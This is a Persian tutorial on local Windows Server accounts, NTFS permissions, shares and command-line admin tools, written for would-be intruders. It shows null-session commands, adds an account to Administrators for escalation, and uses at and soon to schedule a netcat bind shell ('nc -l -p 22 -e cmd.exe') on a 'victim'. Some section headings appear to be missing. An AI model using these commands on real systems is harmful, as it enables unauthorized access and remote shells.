- یادآوری
این مقاله ادامه مقاله قبلیه! در این
درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به
کامپیوترهای متصل به اون در شبکهای که هست نداریم.
-
اکانتها و گروهها در ویندوز سرور
همونطور که گفتم ما داریم در
مورد یک ویندوز سرور منفرد صحبت میکنیم، بنابراین منظور من از اکانت، اکانتهای
محلی یا local است ( وقتی چند ویندوز سرور در کنار هم و به صورت شبکه مورد استفاده
هستند، معمولا اکانتهای سراسری یا global هم ست میشود که برای دسترسی به منابع در
domain مورد استفاده قرار میگیرد. درمورد اینکه domain در ویندوز سرور چیست، بعدها
توضیح میدم). بنابراین ما بحث اکانتهای لوکال رو داریم. در مورد گروهها هم
همینطور یعنی گروههای لوکال رو میگم.
اکانت عبارت از یک username و
password معتبر در ویندوز سرور است. وقتی از طریق یک اکانت به سیستم وارد میشویم،
اصطلاحا میگوییم که login یا logon کردهایم. با login کردن به سرور به سطحی خاص
از دسترسی به فایلها و منابع سیستم میرسیم که بستگی به سطح اختیارات اون اکانت
داره. تعداد زیادی اکانت لوکال پیشفرض وجود داره که مهمترینهاش، ایناست:
۱-
اکانت Administrator : بالاترین سطح دسترسی به اون سرور خاص است. اگه با این اکانت
login کنید، به نهایت دسترسی به اون کامپیوتر رسیدهاید. معادل root در
سیستمعاملهای مبتنی بر یونیکس.
۲- اکانت guest : به صورت پیشفرض غیر فعال
است. اختیارات بسیار محدودی دارد.
۳- اکانت IUSR_xxxxx-yyyyy : در این اکانت
xxxx-yyyyyy نام همون کامپیوتره. مثلا ممکنه اسم این اکانت این باشه:
IUSR_ABBASGOLI-V0P1QR !! این اکانت همراه با IIS به طور پیشفرض ایجاد میشه و خود
ویندوز یه پسورد random براش ست میکنه. ( IIS یا Internet Information Server
وبسرور مایکروسافت برای ویندوز است. این نرمافزار همون چیزی است که روی پورت ۸۰
فالگوش میماند و وقتی شما سایتی از اون سرور رو توسط مرورگر درخواست میکنید،
برای شما صفحه وب رو میفرستد. وب سرورهای دیگری نیز برای ویندوز وجود دارد که به
اندازه IIS پرکاربرد نیستند) این اکانت نیز یک اکانت محدود است. وقتی شما مشخصا از
طریق پورت ۸۰ ویندوز سروری را هک میکنید که IIS روی اون نصب شده و یک شل از این
طریق میگیرید، معمولا شما سطح اختیاراتی معادل همین اکانت IUSR_xxxxx-yyyyy رو
بدست آوریدهاید. یعنی شما سطح اختیارات Administrator رو ندارید. خیلیّها از من
میپرسند که مثلا با Unicode bug یک ویندوز ۲۰۰۰ رو هک کردهایم ولی نمیتونیم مثلا
صفحه اول سایت رو عوض کنیم... دلیلش اینه که شلی که شما از این طریق بدست
آوردهاید، در سطح Administrator نیست و ممکن است لازم باشد که به طریقی از اکانت
IUSR_xxxxx-yyyyy به Administrator برسید تا بتونید اون فایل خاص (صفحه اول) رو
بدست بگیرید.
۴- و...
گروههای محلی ( local groups ) چیست؟
فرض کنید
که یه کامپیوتر ۵۰ اکانت مختلف در اون ایجاد شده که هر کدوم از این اکانتها دسترسی
متفاوتی باید به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ایجاد بشه و
اجازه دسترسی به منابع خاص یکی یکی ایجاد بشه، کار بسیار طولانی خواهد بود. معمولا
اینگونه است که تعداد زیادی از این اکانتها باید سطح اختیارات یکسان داشته باشند،
مثلا ۳۰ تاشون در حد guest باید به سرور دسترسی داشته باشند. در این حالت بهتر است
که یک گروه ایجاد شود و اختیارات واسه اون گروه ست بشه. حالا هر اکانتی که داخل اون
گروه ایجاد بشه، همون سطح اختیارات رو خواهد داشت و این مدیریت رو سادهتر میکنه.
معمولا اسم گروهها یه حرف s آخرشون دارند که علامت جمعه. مهمترین گروهها
عبارتند از:
۱- Administrators: یعنی admin ها. مجموعهای از اکانتها که
دسترسیشون در حد Administrator است.
۲- Power Users
۳- Backup
Operators
۴- Guests
۵- Users
۶- و...
Account Policy
چیست؟
قواعدی است که برای اکانتها ست میشود. مثلا ممکن است Admin سرور ست کند
که حداقل طول پسورد برای اکانت باید ۶ حرف باشد یا اینکه فلان اکانت بعد از ۳ بار
امتحان ناموفق برای login قفل شود و... این اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم
که میشه به کمک enum یا winfo و... بدست آورد.
-
permision ها ( مجوزها ) در NTFS
مجوزها در NTFS مهمترین تحولی است
که نسبت به FAT32 رخ داده است. مجوزها تعیین میکنند که یک یوزر که به سیستم login
کرده است، در چه حدی میتواند با فایلهای یک فولدر کار کند. فرض کنید که یک یوزر
از گروه guests به سیستم وارد شده است، در این حالت مسلما نمیخواهیم که این فرد
بتواند به تمام فایلها دسترسی از نوع خواندن و نوشتن داشته و آنها را تغییر دهد.
پس فولدرهایی وجود دارند ( مثل فولدر مربوط به فایلهای ویندوز ) که فقط برای افراد
خاصی قابل دسترسی هستند.
نکته بسیار مهم در ویندوز این است که مجوزها برای
فولدرها تنظیم میشوند نه برای فایلها. به عبارت دیگر وقتی مجوزی برای فایلی
میخواهیم ست کنیم، در ویندوز سرورها نمیتوانیم برای اون فایل این مجوز رو تنظیم
کنیم، بلکه باید فولدری که فایل در اون قرار گرفته رو ست کنیم. در این حالت تمام
فایلهای داخل اون فولدر همین مجوز رو خواهند داشت.
نکته مهم دیگر این است که
مجوزها برای اکانتهای مختلف به صورتهای متفاوت ست میشوند. مثلا ممکن است فولدر
ویندوز برای اکانتهای guest به صورت فقط خواندنی تنظیم شود، ولی برای اکانتهای
Administrators به صورت دسترسی کامل.
الف- مجوزها در NTFS 4.0:
۱- No
Access : یعنی عدم دسترسی برای یک اکانت خاص. یعنی اینکه حتی نمیتوان وارد اون
فولدر شد.
۲- Read: فقط خواندنی. یعنی میشه به فولدر وارد شد و فایلها رو
دسترسی داشت ( چه فایلهای اجرایی و چه غیر اجرایی ) و اونها رو خواند ( در مورد
فایلهای اجرایی یعنی میشه اجراشون کرد ) ولی اجازه تغییر در فایلهای اون فولدر
مثل پاک کردن، ویرایش و ایجاد فایل جدید رو نداریم.
۳- Change: یعنی هم خواندن،
هم تغییر، هم حذف و هم اجرا برای اون اکانت خاص مجاز است. یعنی همه کار ولی نه
تغییر دادن مجوزها واسه اون فولدر. یعنی اینکه فرد نمیتونه ست کنه که این فولدر که
الان مثلا برای اکانتهای guests قابل دسترسی نیست، قابل دسترس بشه.
۴- Full
Control: یعنی دسترسی کامل. شامل همه مواردی که در شماره ۳ گفته شد + اجازه تغییر
مجوزها. بنابراین این مجوز معمولا فقط برای Adminها ست میشود.
ب- مجوزها در
NTFS 5.0:
۱- No Access : یعنی عدم دسترسی.
۲- Read: فقط خواندنی. در NTFS
4.0 در حالت Read میتونستیم فایلهای اجرایی داخل اون فولدر رو اجرا کنیم ولی در
NTFS 5.0 با این مجوز نمیتونیم فایلهای اجرایی رو اجرا کنیم و فقط میتونیم
بخونیم.
۳- Read & Execute: یعنی اجازه خواندن و نیز اجازه اجرا کردن.
۴-
Write: یعنی اجازه خواندن، اجزا کردن و تغییر دادن.
۵- Modify: دقیقا مثل Write.
این نشون از ضریب هوشی مایکروسافت بزرگ داره! دو اسم برای یک نوع دسترسی :)
۶-
Full Control: یعنی مثل Write + اجازه تغییر مجوزها
- Share ها در ویندوز سرور
share در ویندوز سرورها یعنی
منابعی که از طریق شبکه ( یعنی از راه دور ) قابل دسترسی باشد. همونطور که تو درس
مربوط به پورت ۱۳۹ گفتم، دسترسی به منابع اشتراکی در ویندوز سرورها، از طریق پروتکل
SMB است که مایکروسافت اونو CIFS میگه. در این حالت، اول یک احراز هویت داریم و بعد
از اون یک session یا نشست تشکیل میشه ( یه چیزی هم به اسم Null Session هست که
توضیحاتش در همون درس اومده. ) پروتکلهای قدیمی NetBEUI (که از دور خارج شده) و
NetBIOS هم چیزی است هنوز هم توسط ویندوز ساپورت میشه. منابع اشتراکی هم که مشخصه:
فولدرها، درایوها و چاپگر.
حالا میرسیم به لیست share ها:
$IPC :
یعنی دسترسی کامل. اگه بتونیم به این share برسیم در واقع به تمام فایلها، درایوها
و فولدرها دسترسی داریم. معمولا دسترسی به این share فقط واسه اکانتهای Admin
است.
$ADMIN : این share مربوط به فولدری است که ویندوز در اون نصب شده
است یعنی %SystemRoot% بنابراین share محدودتری نسبت به $IPC محسوب
میشه.
$print : یعنی چاپگر! فولدر مربوطهاش اینجاست:
SystemRoot%\system32\spool\PRINTERS% یعنی با این share به این فولدر دسترسی
داریم. این فولدر جایی است که کارهای چاپی به صورت فایلهایی با پسوند spl نگهداری
میشوند.
$C و $D و...: اگه این share ها ست شده باشه به درایوهای
C و D و ... دسترسی داریم.
share های دیگر: هر فولدری رو در ویندوز میشه share
کرد و یک نام خاص به اون نسبت داد...
خوب بحث اینجاست که هر کدوم از این
share ها هم میتونند واسه اکانتهای مختلف به صورتهای متفاوت مجوزدهی شوند ( درست
مثل بحث NTFS که گفتم) ولی یه تفاوت وجود داره. در مورد share ها عبارت Network
Access رو بکار میبریم ولی واسه NTFS عبارت Local Access و اینا ممکنه متفاوت
باشند. مثلا فرض کنیم که درایو C واسه اکانت guest در share به صورت read ست شده
باشه. ولی در همین درایو فولدر ویندوز باشه که واسه guest در NTFS به صورت No
Access ست بشه. حالا چه اتفاقی میافته؟ در این حالت، به صورت اشتراک به قضیه نگاه
میکنیم، یعنی No Access (واسه حالت local Access) و Read (واسه حالت remote Access
) رو با هم اشتراک میگیریم ( همون چیزی که تو درس ریاضیات خوندیم! ) و نتیجه No
Access میشه. پس اگه یک guest از طریق share وارد درایو C بشه، اگرچه به خیلی از
فولدرها دسترسی خواهد داشت ولی دسترسی اون به فولدر مربوط به ویندوز در همون درایو
غیرممکن خواهد بود.
- سایر دستورات خط فرمانی در
ویندوز سرورها
یک سری دستورات خطفرمانی در قسمت اول این مجموعه
درسها بررسی شد. بیشتر دستورات خطفرمانی که امروز میگم، از مجموعه دستور net
ویندوز هستند (یعنی با عبارت net شروع میشوند) و اکثرا لازم است که با اکانتی در
حد Administrator باشید که اجرا بشوند. یه مطلب دیگه اینکه وقتی میگم که یه دستور
به صورت لوکال هم میتونه اجرا بشه، روی ویندوز NT کامپیوتر خودتون هم میتونید تست
کنید. مطلب بعدی اینکه این دستورات کاربردهای زیادی دارند ولی ما فقط مواردی رو
بررسی میکنیم که بدرد یک هکر میخوره!
۱- net help :
این دستور
در واقع help دستور net است. مینویسم:
net helpو جواب میشنوم:
The syntax of this command is: NET HELP command -or- NET command /HELP Commands available are: NET ACCOUNTS NET HELP NET SHARE NET COMPUTER NET HELPMSG NET START NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET USER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the network services you can start. NET HELP SYNTAX explains how to read NET HELP syntax lines. NET HELP command | MORE displays Help one screen at a time.توضیحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگیرم، باید بنویسم:
net help timeیا
net time /helpتا توضیحات بیاد.
net share shanguli_mangul_habbeye_angurو جواب میاد:
This shared resource does not exist. More help is available by typing NET HELPMSG 2310.یک خطا رو گزارش داده و یک عدد ۴ رقمی به من داده. برای اینکه بدونم جزئیات خطا چیه، مینویسم:
net helpmsg 2310و به من میگه که اشتباه من چه بوده است...
net timeولی اگه به صورت remote کار میکنید (یعنی یک NetBIOS session تشکیل دادهاید توسط دستور net use که در درس پورت ۱۳۹ هم توضیح داده شده )، بنویسید:
net time \\xxx.xxx.xxx.xxxکه xxx.xxx.xxx.xxx همان ip ی است که session براش داریم.
net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi" /user:"Administrator"این کاربرد اول بود که اینو قبل از دستور net view انجام میدیم. میتونستیم یک null Session تشکیل بدیم، به این صورت که قسمت مربوط به username و password رو خالی بذاریم. به این صورت:
net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:""حالا session تشکیل شده است! کاربرد بعدی اینه که بعد از اینکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و لیست کامل share ها رو بدست آوردم، بیام و یکی از این share ها رو استفاده کنم. مثلا اگه اسم share که لیست شده، SharedDocs باشه، و بخوام یک درایو جدید رو بهش نسبت بدم که بتونم باهاش کار کنم، مینویسم:
net use * \\xxx.xxx.xxx.xxx\SharedDocsمعنی کاراکتر * اینه که اگه مثلا آخرین درایو در کامپیوتر من ( با احتساب سی-دی درایو ) مثلا G باشه، درایوی که برای share استفاده میشه، درایو بعدی یعنی H باشه. میتونستم اینطوری هم بنویسم:
net use H: \\xxx.xxx.xxx.xxx\SharedDocsخوب حالا میتونم مثل یک درایو محلی باهاش کار کنم. توی درس پورت ۱۳۹ میاومدیم و My Computer رو از دسکتاپ باز میکردیم و با درایو جدید کار میکردیم. چون ما دستورات داس رو یاد گرفتهایم میتونیم با این دستورات هم با اون درایو کار کنیم، مثلا بنویسیم:
H: dir ,...وقتی کارمون با share تموم شد، باید disconnect کنیم، با این دستور :
net use /delete H:تا ارتباط قطع بشه.
net view \\xxx.xxx.xxx.xxxو مثلا جواب میگیرم:
Shared resources at \\xxx.xxx.xxx.xxx Share name Type Used as Comment ------------------------------------------------ SharedDocs Disk The command completed successfully.میبینید که SharedDocs فولدریاست که share شده. حالا با دستور net use میتونم از share استفاده کنم.
net shareو جواب میگیرم:
Share name Resource Remark ------------------------------------------------------------------------------- F$ F:\ Default share IPC$ Remote IPC D$ D:\ Default share I$ I:\ Default share G$ G:\ Default share E$ E:\ Default share ADMIN$ I:\WINNT Remote Admin H$ H:\ Default share C$ C:\ Default share J$ J:\ Default share The command completed successfully.همشون پر واضحاند! خوب حالا میخوام مثلا $C رو از لیست share ها پاک کنم. مینویسم:
net share C$ /deleteاگه دوباره لیست رو بیارم، میبینم که دیگه نیست. میخوام دوباره همون رو share کنم، مینویسم:
net share C$=C:حالا میخوام مثلا فولدر C:\ali رو به اسم info بیام و share کنم، مینویسم:
net share info=c:\aliحالا اگه لیست بگیرم، میبینم که وارد لیست شده.
net accountsو مثلا جواب میشنوم:
Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): 42 Minimum password length: 0 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: SERVER The command completed successfully.تنها قسمتی که نیاز به توضیح دارد، عبارت Lockout است. این یک ویژگی امنیتی است. فرض کنید که کسی میخواد از طریق امتحان کردن تعداد زیادی پسورد برای یک اکانت، پسورد رو پیدا کنه ( Crack کردن ). میتونیم جوری اکانت رو تنظیم کنیم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقیقه locak یا قفل بشه. اسن باعث میشه که کار هکر کند بشه. ولی معمولا اینطوری است که اکانت Administrator جوری هست که هرگز قفل نشه ( توضیحات مفصل رو درس بعدی بخونید ).
net userو جواب میشنوم:
User accounts for \\computer-name ------------------------------------------------------------------------------- Administrator ali araz ASPNET Guest The command completed successfully.خوب حالا مثلا میخوام راجع به اکانت guest اطلاعاتی بگیرم، مینویسم:
net user guestو جواب میگیرم:
User name Guest Full Name Comment Built-in account for guest access to the computer/domain User's comment Country code 000 (System Default) Account active No Account expires Never Password last set 10/27/2003 2:58 AM Password expires Never Password changeable 10/27/2003 2:58 AM Password required No User may change password No Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Guests Global Group memberships *None The command completed successfully.میبینید که در سطر ۲ تا مونده به آخر ( سطری Local Group Membership ) دقیقا بیان شده که این اکانت به چه گروههایی تعلق داره. دقت کنید که بهجای دستور net user از دستور net users هم میتونید استفاده کنید.
net user vahid yechizi /addحالا میخوام همین اکانت رو پاک کنم:
net user vahid /deleteدقت کنید که در دستور پاک کردن دیگه لزومی به وارد کردن پسورد نیست. دستور بعدی به ما میگه که چطوری یک اکانت رو وادار کنیم که عضو یک گروه محلی شود.
net localgroupو جواب میشنوم:
Aliases for \\Computer-name ------------------------------------------------------------------------------- *Administrators *Backup Operators *Debugger Users *DHCP Administrators *DHCP Users *Guests *Power Users *Replicator *Users The command completed successfully.دقت کنید که ویندوز معمولا هنگام ارائه نتایج دستورات net میاد و اول اسم هر گروه یک * قرار میده تا با اکانتها اشتباه نشه. حالا میخوام ببینم که مثلا در گروه Administrators چه اکانتهایی هست. مینویسم:
net localgroup Administratorsو جواب میشنوم:
Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator ali araz The command completed successfully.پس سه تا اکانت در حد Admin داریم. حالا میخوام مثلا اکانت ali رو از لیست Admin ها خارج کنم، مینویسم:
net localgroup Administrators ali /deleteو اون اکانت از گروه حذف میشه (میتونید دوباره لیست بگیرید و ببینید که دیگه در این گروه نیست ). حالا میخوام دوباره اکانت ali رو به این گروه اضافه کنم، مینویسم:
net localgroup Administrators ali /addاین دستور از جمله مهمترین دستوراتی است که باید یاد بگیرید. گاهی با اکانتی وارد میشویم و میخواهیم که اونو به حد Admin برسونیم و روش کار همین دستور آخری است ( اینکه اجازه اینکار رو داریم یا نه، بحثی است که بعدا مطرح میشه و گفته خواهد شد که چطوری توسط یک سری exploit مشکل رو حل کنیم). وقتی اکانتی وارد گروه Admin میشه، تمام مزایای همچین گروهی رو یدست میاره.
net sessionتا لیست اونا بیاد. اگه میخوام همه session ها رو خاتمه بدم، مینویسم:
net session /deleteاین همه session های مرا در کامپیوتری که درش این دستور اجرا شده، با سایر کامپیوترها قطع میکند. اگه فقط بخوام یک session رو با یه کامپیوتر خاص تموم کنم، مینویسم:
net session \\xxx.xxx.xxx.xxx /deleteاین در حالتی است که با اون کامپیوتر session داشته باشم. دقت کنید که به جای دستور net session میتونید از دستور net sessions یا net sess استفاده کنید.
net send Administrator Salam Refigدر این حالت اون پیغام منو میگیره. اگه بخوام به همه اونایی که الان session دارند، همین پیغام رو بفرستم، مینویسم:
net send /users Salam Refigو پیغام و همه میگیرند. این دستور باید به صورت local یعنی از طریق یک shell اجرا بشه.
sc \\xxx.xxx.xxx.xxx start scheduleو جواب میشنوم:
SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0و schedule service شروع میشود. دقت کنید که کلمه start برای شروع یک سرویس است و کلمه schedule یعنی schedule service پس با این دستور schedule service در کامپیوتر قربانی فعال میشود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قربانی است. همون ip که یک session باهاش داریم.
[SC] StartService FAILED 1056: An instance of the service is already running.۲- at :
at \\xxx.xxx.xxx.xxx 11:25P "c:\something\nc -l -p 22 -e cmd.exe"دقت کنید که هم sc و هم at رو از کامپیوتر خودم اجرا میکنم، پس لزومی به upload اونها به کامپیوتر قربانی نیست. و نیز اینکه برای اجرای این دستورات باید اکانت ما در حد Administrator باشد و نیز NetBIOS روی اون کامپیوتر باز باشد.
at \\xxx.xxx.xxx.xxxو جواب میشنوم:
Status ID Day Time Command Line ------------------------------------------------------------------------------- 1 Today 12:25 PM c:\something\nc -l -p 22 -e cmd.exeاگه بخوام این task رو از لیست schedule پاک کنم، مینویسم:
at \\xxx.xxx.xxx.xxx 1 /deleteدلیل اینکه از عدد 1 استفاده کردم، این است که در لیستی که در بالا بدست اومد، ID برای این task عدد 1 بود.
soon \\xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"همانند at ، این دستور هم میتونه به صورت لوکال اجرا بشه ( خودتون میدونید چطوری ! )
REG ADD HKLM\Software\MyCo\Araz\Point=20.00و اگه بخوایم همین کارو در کامپیوتر قربانی به صورت remote انجام بدیم، مینویسیم:
REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\xxx.xxx.xxx.xxxحالا اکه بخوام یک همین کلید رو پاک کنم، در حالت لوکال مینویسم:
REG DELETE HKLM\Software\MyCo\Araz\ /FORCEو در حالت remote مینویسم:
REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCEتغییر دادن یک ورودی هم دقیقا مثل اضافه کردن اونه. فقط به جای reg add از reg update استفاده میکنیم.
HKLM\Software\MyCo\Araz Point = REG_SZ 20.00و بعد مینویسم:
regini -m \\xxx.xxx.xxx.xxx Araz.iniاین دستور معمولا موقعی به کار میره که چند entry (ورودی) رو میخواهیم به یک key (کلید) اضافه کنیم. در این حالت اگه بخوایم این کارو توسط reg انجام بدیم، چند بار باید دستور رو تکرار کنیم.
gettype /vو جواب شنیدم:
Windows NT [Enterprise/Terminal] Server Non-Domain Controllerت- ابزارهای کار با اکانتها :
whoamiو مثلا جواب میشنویم:
[Group 1] = "Everyone" [Group 2] = "LOCAL" [Group 3] = "IUSR_xxxx-yyyy" ,...در این حالت، بالاترین اکانتی ( از نظر سطح اختیارات ) که لیست شود، اکانتی است که ما با اون بالا اومدیم.
local Administrators \\xxx.xxx.xxx.xxx۹- showgrps :
showgrpsو جواب میشنوم:
User: [computer-name\Administrator], is a member of: computer-name\Administrators \Everyoneمشخص میشه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.
showgrps guestو جواب میشنوم:
User: [[computer-name\guest], is a member of: \Everyone [computer-name\Guestsوقتی میخواهیم بدونیم که فلان اکانت متعلق به چه گروههایی است، اینکار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولی اگه بخوایم بدونیم که خودمون با چه اکانتی بالا اومدیم، اینکار با net user قابل انجام نیست.
showmbrs Administratorsث- ابزارهای بررسی مجوزهای NTFS:
perms administrator c:اگه جواب زیر رو بشنوم، یعنی FAT32 است:
c:\ perms: #-------اگر هر جواب دیگهای میاومد، میشد: NTFS
perms guest d:\wwwrootو مثلا جواب میشنوم:
d:\wwwroot\ perms: No Accessاین یعنی هیچ دسترسی به اون برای اکانت guest وجود ندارد. اگه میاومد:
d:\wwwroot\ perms: #RWXDPOAباید عبارت RWXDPOA# تفسیر بشه. هر کدام از این حرفها این معنی رو میده:
R Read W Write X Execute D Delete P Change Permissions O Take Ownership A General All - No Access * The specified user is the owner of the file or directory. # A group the user is a member of owns the file or directory. ? The user's access permisssions can not be determined.با این تفاسیر میتونید ببینید که مثلا اکانت guest چه مجوزهایی داره. کافی است تک تک خروف رو با جدول بالا تطبیق بدید. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داریم ) و ...
showacls /s /u:guest j:\wwwroot\کلید s/ مشخص میکنه که زیرشاخهها رو هم میخوام تست کنم. اگه اونو حذف کنم، فقط مجوزهای فولدر مشخص شده بیان خواهد شد. حالا اگه جواب بیاد:
Error: Volume type incorrect [FAT32]یعنی که اون درایو به صورت FAT32 فرمت شده پس بررسی مجوزها محلی از اعراب نداره! ولی اگه NTFS باشه مثلا میاد:
User: [\guest] has the following access to directory [j:\wwwroot\]: j:\wwwroot\ j:\wwwroot j:\wwwroot\ali NT AUTHORITY\SYSTEM Read [RX] Everyone Read [RX] NT AUTHORITY\SYSTEM Read [RX] CREATOR GROUP Read [RX] BUILTIN\Administrators Change [RWXD] CREATOR OWNER Change [RWXD] ,...دقت کنید که فولدر خیلی پر زیرشاخه رو انتخاب نکنید که جوابها بقدری زیاد میشه که حتی نمیتونید بخونید. برای تفسیر از جدول زیر استفاده کنید:
R GENERIC_READ W GENERIC_WRITE X GENERIC_EXECUTE ) D DELETE A GENERIC_ALL d FILE_READ_DATA (directory) l FILE_READ_DATA (file) s SYNCHRONIZE r FILE_READ_DATA w FILE_WRITE_DATA a FILE_APPEND_DATA rE FILE_READ_EA wE FILE_WRITE_EA fx FILE_EXECUTEج- ابزارهای کار با share ها :
rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:readاگه میخواستم بهجای فقط خواندنی، اجازه تغییر هم صادر کنم، بجای read میشد: Change حالا میخوام همین share رو پاک کنم. مینویسم:
rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE۱۴- netwatch :
netcmd \\xxx.xxx.xxx.xxx\Araz۱۶- srvcheck :
srvcheck \\xxx.xxx.xxx.xxxدقت کنید که بهصورت remote کار میکنیم و نیاز به یک netbios session داریم.